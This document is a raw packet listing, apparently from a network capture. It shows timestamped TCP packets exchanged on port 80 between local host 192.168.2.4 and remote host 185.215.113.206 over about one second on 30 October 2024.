Oct 30, 2024 06:16:32.899821043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.899838924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.899852991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.899863958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.899883032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.899897099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.899909973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.899919033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.899935961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.899946928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.899960041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.899967909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.899976015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.899985075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900002956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900012016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900034904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900048018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900055885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900069952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900077105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900090933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900111914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900130033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900139093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900149107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900160074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900166988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900190115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900223017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900240898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900253057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900264025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900285959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900298119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900316000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900322914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900335073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900357962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900379896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900513887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900531054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900542021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900552988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900566101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900573015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900583982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900594950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900602102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900615931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900625944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900633097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900665998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900748014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900758028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900768995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900787115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900794983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900809050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900813103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900830030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900840998 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900847912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900860071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900871038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.900878906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.900901079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901117086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901127100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901139975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901149988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901156902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901175022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901184082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901192904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901204109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901215076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901240110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901251078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901257992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901273966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901278973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901313066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901421070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901432037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901443958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901467085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901489019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901509047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901524067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901535034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901546955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901555061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901563883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901596069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901609898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901628017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901671886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901693106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901705027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901715994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901734114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901757956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901767015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901789904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901803970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901808977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901837111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901844978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901856899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901861906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901874065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.901882887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901900053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.901918888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.933969021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.933986902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934005022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934022903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934034109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934045076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934056997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934070110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934082031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.934101105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934118986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934130907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.934142113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934153080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.934160948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934171915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934185028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934194088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.934235096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.934252977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934263945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934276104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934288025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.934293032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934329033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.934360027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934372902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934382915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934402943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.934408903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934421062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934428930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.934461117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.934568882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934581041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934592009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934612036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.934617996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934628010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934634924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.934645891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934655905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934665918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934673071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.934709072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.934834957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934844971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934855938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934883118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.934895039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.934902906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934914112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934925079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.934942007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.934961081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.935014009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.935024023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.935034990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.935048103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.935055971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.935066938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:32.935084105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:32.935125113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.019021034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019047022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019056082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019076109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019088030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019130945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019141912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019151926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019201040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.019201040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.019293070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019303083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019323111 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.019330978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019342899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.019359112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019372940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019376993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.019387960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019398928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019416094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.019455910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.019479036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019489050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019499063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019510031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019520998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019529104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.019540071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019555092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019563913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.019572020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019594908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.019607067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019615889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.019653082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.019659996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019670010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019706964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.019735098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019746065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019757032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019773006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.019818068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.019889116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019898891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019910097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019937992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.019957066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019963980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.019973993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019984007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.019994974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020003080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.020030022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.020073891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020085096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020093918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020122051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.020138979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.020239115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020262957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020272970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020281076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.020307064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.020350933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020363092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020373106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020384073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020395994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.020401955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020414114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020432949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.020463943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.020576000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020596027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020611048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020622015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020631075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.020641088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020654917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.020663023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020674944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020683050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.020690918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020703077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020711899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020720005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.020759106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.020886898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020900965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020911932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020929098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.020967960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.020986080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.020996094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.021007061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.021029949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.021055937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.021063089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.021073103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.021083117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.021099091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.021106005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.021115065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.021127939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.021143913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.021177053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.053088903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053097963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053108931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053121090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053129911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053139925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053154945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053167105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053177118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053244114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053260088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053268909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053281069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053291082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053419113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.053419113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.053541899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053551912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053563118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053572893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053584099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053591013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.053601027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053613901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053620100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.053634882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053643942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.053663969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053669930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.053708076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.053746939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053761959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053774118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053783894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053792953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.053805113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053816080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053826094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053843021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.053870916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.053946018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.053993940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.054013014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.054024935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.054033995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.054058075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.054064035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.054095030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.054101944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.054117918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.054128885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.054135084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:33.054143906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:33.054177999 CET	49758	80	192.168.2.4	185.215.113.206
